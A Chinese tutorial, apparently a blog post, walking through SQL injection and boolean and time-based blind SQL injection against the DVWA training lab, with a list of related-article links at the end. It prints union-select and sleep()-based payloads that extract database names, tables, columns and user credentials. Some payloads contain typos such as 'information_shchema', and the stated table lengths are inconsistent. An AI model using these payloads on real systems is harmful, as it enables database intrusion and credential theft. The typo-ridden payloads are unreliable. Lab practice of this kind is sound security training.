一、SQL注入

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(摘自百度百科https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin)

判断方法

SQL注入分为字符型和数字型。所谓字符型,是拼接的SQL语句是利用字符来进行判断,而非数字。数字型和字符型刚好相反,拼接的SQL语句是用数字来拼接,而非字符。

LOW(初级)

1、首先先判断是否有sql注入,以及注入的类型(数字型,字符型):
执行命令1’ and ‘1’=’1

由此可以看出来sql存在注入,且sql注入的类型为字符型。

2、开始猜解字段数

在尝试1和2的注入后,在3的时候报错,说明字段数为2

3、判断回显位置
4、查询数据库名称和版本
执行1’ union select version(),database()#

5、获取数据库中的表
执行1’ union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#

6、获取表中的字段名“users”
1’union select 1,group_concat(table_name)from information_schema.tables where table_name=‘users’#

7、获取字段的数据
执行1’union select user,password from users#

Medium(中级)

1、首先查看源码

发现加入了防字符串篡改的语句,因此此处通过直接注入字符串类型是无法成功的。

2、我们以User ID=2为例,通过burp拦截后发现此处的注入类型为数字型。


3、猜解SQL查询语句的字段个数

当个数是1和2的时候都能通过,当个数为3的时候则错误,因此字段个数为2。

4、确定回显个数和回显位置

5、获取当前的数据库和版本

6、获取当前数据库所有表

7、获取表中所有表的字段名,但是由于特殊字符被过滤,因此把“users”改为16进制

8、获取字段中的数据

High(高级)

1、首先查看源码
可以看到和Low级别一样还是字符类型的注入,只是实现了自动跳转,避免自动化SQL注入,因此我们直接可以采用Low级别的方法来SQL注入。

2、查看SQL字段数据

二、SQL盲注

SQL盲注是指SQL注入返回的结果只有是与非或者不提示任何返回字符。针对这两种情况,我们对于SQL注入可以实现两种方法来进行,一种是布尔型,一种是时间型。下面就这两种情况分别来讨论。

布尔型

我们把级别设置为LOW级别。
1、同样,我们首先判断是否存在SQL注入,并判断注入类型

可看存在注入,并且是字符型。

2、猜解数据库长度
1’ and length(database())=4#

在尝试1,2,3后发现都是不存在的,在4的时候发现是存在的,因此数据库长度是4。

3、猜解数据库名称
(1)1’ and ascii(substr(database(),1,1))=100#

在尝试几次后,发现在ascii码等于100的时候显示存在因此第一个字符是‘d’。
(2)1’ and ascii(substr(database(),2,1))=118#

同理第二个字符是’v’。
(3)同理,插入SQL语句
1’ and ascii(substr(database(),3,1))=119#,第三个字符是’w’。
(4)执行1’ and ascii(substr(database(),4,1))=97#,得到第四个字符是’a’。
(5)得到数据库的名称为:dvwa。

4、猜解表的个数
1’and(select count(table_name)from information_schema.tabels
where table_schema=’dvwa’)=2#


尝试结构为1和2以及3的时候,1和2都是显示存在,当时3的时候显示不存在,因此,dvwa数据库里面有2个表。

5、猜长度
1’ and length(mid((select table_name from information_schema.tables
where table_schema=‘dvwa’ limit 0,1),1))=9#
1’ and length(mid((select table_name from information_schema.tables
where table_schema=‘dvwa’ limit 1,1),1))=5#


在尝试长度为1-10之间后,发现之后当结果等于9和5 的时候才显示存在。因此两张表的长度分别为5和9。

6、猜解表名
1’ and ascii(mid((select table_name from information_schema.tables
where table_schema=‘dvwa’ limit 1,1),1))=103#


在结果上尝试,最后得出来两个表名,分别为guestbook 和users

7、猜解列的个数
1’ and (select count(column_name) from information_schema.columns
where table_name=‘users’)=8#


在经过尝试1-7后都是不存在,当结果为8的时候,显示存在,因此有8列。

8、猜解列的长度
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 0,1),1))=7#
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 1,1),1))=10
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=4#

在尝试每一列的1-10的长度的长度探索后发现,8列的长度分别为:7,10,9,4,8,6,10,12。

9、猜解8列的名称
1’ and ascii(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=117#

以此方式来猜解,最后得到以下列的名称:user_id first_name last_name user password avatar last_login failed_login。

10、猜解数据(user)
1’ and (ascii(substr((select user from users limit (0,1),1),1,1)))=97#
以此方式进行猜解,最后得到user里面相关的数据有:admin,gordonb,1337,pablo,smithy。

而Medium和High和普通型中高级做法类似,在这里就不再详细描述。

时间型

我们设置级别为LOW。
1、先尝试是否有SQL注入
1’ and sleep(5)


大约5秒后,返回显示不存在,说明存在SQL注入,并且是字符型。

2、猜解数据库长度
1’ and if(length(database())=4,sleep(5),1)#
在尝试长度总1-5中,1-4在延时大约5秒返回,但是当长度等于5时,立即返回。由此可以确定数据库长度为4。

3、猜解数据库名
1’ and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
1’ and if(ascii(substr(database(),2,1))=118,sleep(5),1)#
1’ and if(ascii(substr(database(),2,1))=119,sleep(5),1)#
1’ and if(ascii(substr(database(),2,1))=117,sleep(5),1)#


经过多次的猜解,得到数据库名称为dvwa。

4、猜解表的个数
1’ and if((select count(table_name) from information_schema.tables
where table_schema=‘dvwa’)=2,sleep(5),1)#

在尝试个数为1和2时都能延迟约5秒返回,但是在尝试个数为3的时候,直接返回,几乎没有延迟。因此可以判断出表个数为2.

5、猜解表长度
1’ and if(length(substr((select table_name from information_shchema.tables
where table_schema=‘dvwa’limit(0,1),1))=9,sleep(5),1))#
1’ and if(length(substr((select table_name from information_shchema.tables
where table_schema='dvwa’limit(1,1),1))=5,sleep(5),1))


在尝试一个表和第二个表的长度范围1-10后,发现第一个表长度为9,第二个表长度为5.

6、猜解表名
1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’limit 0,1),1))=97,sleep(5),1)#
按照此方法猜解,最后判断出两个表名分别为:guestbook和users。

7、猜解列的个数
1’ and (select count(column_name) from information_schema.columns
where table_name=‘users’)=8#


在经过尝试1-7后都是不存在,当结果为8的时候,显示存在,因此有8列。

8、猜解列的长度
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 0,1),1))=7#
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 1,1),1))=10
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=4#

在尝试每一列的1-10的长度的长度探索后发现,8列的长度分别为:7,10,9,4,8,6,10,12。

9、猜解8列的名称
1’ and ascii(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=117#

以此方式来猜解,最后得到以下列的名称:user_id first_name last_name user password avatar last_login failed_login。

10、猜解数据(user)
1’ and (ascii(substr((select user from users limit (0,1),1),1,1)))=97#
以此方式进行猜解,最后得到user里面相关的数据有:admin,gordonb,1337,pablo,smithy
时间型中高级做法和前面叙述中高级的方法类似,这里就不再详细诉说。

DVWA下的SQL注入与SQL盲注相关推荐

  1. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  2. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  3. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  4. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  5. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  6. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  7. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

  8. SQL注入之布尔盲注——sql-lab第八关

    布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...

  9. web安全入门之SQL注入-时间型盲注

    SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...

  10. DVWA—sql注入( SQL Injection)

    DVWA-sql注入( SQL Injection) 原理 将恶意的sql语句拼接到合法的语句中,从而达到执行sql语句的目的. 类型 数字 字符 搜索 过程 1.判断是否存在注入,注入时字符型还是数 ...

最新文章

  1. 从ORA-27300,ORA-27301到ORA-00064
  2. This version of the rendering library is more recent than your version of IntelliJ IDEA.
  3. Python pip 国内镜像大全及使用办法
  4. iOS屏幕尺寸和分辨率了解
  5. 2.2基本算法之递归和自调用函数_用栈算法递归解决汉诺塔问题
  6. Ubuntu帮大忙了
  7. 【渝粤教育】国家开放大学2018年春季 0100-22T程序设计基础 参考试题
  8. 克劳斯比的零缺陷——《可以量化的管理学》
  9. fluent设置uds c语言程序,FLUENT---UDS 计算流体停留时间(空气龄)
  10. Oracle数据库链接源文件
  11. transforms中RandomResizedCrop、Resize、CenterCrop的理解
  12. WIN31DOSBox中魔改PWIN32 - 温故、浸馨、继而知新
  13. Matlab OpenEXR 打开exr格式图片
  14. RabbitMQ Federation 插件使用
  15. FMI飞马网【线上直播】持续集成在京东研发的落地及应用
  16. HDU 6045 Is Derek lying?
  17. 个人开发者如何免费打造属于自己的微信小程序
  18. 文化袁探索专栏——React Native启动流程
  19. STM32实现低功耗待机总结(电流低至5.7uA)
  20. c#上位机开发(三)——串口通信上位机开发1

热门文章

  1. 二分查找 找一个比目标数小的最大数
  2. 无线网卡的4种工作模式
  3. 公务员笔试——侵占罪、职务侵占罪和贪污罪的区别
  4. ubuntu显示ip为127.0.0.1
  5. 百度工程师首次现场演示:“文心千帆”如何可视化微调大模型
  6. pcb覆铜 厚度 过孔大小 过孔与导线比例
  7. 找不到com.mchange.v2.c3p0.ComboPooledDataSource
  8. 公路曲线及匝道多线路正、反算综合程序四(4.3修改版)
  9. Java开发者职业生涯要看的200+本书
  10. openstack victoria 对接华为存储OceanStor 5110 v5(Kunpeng)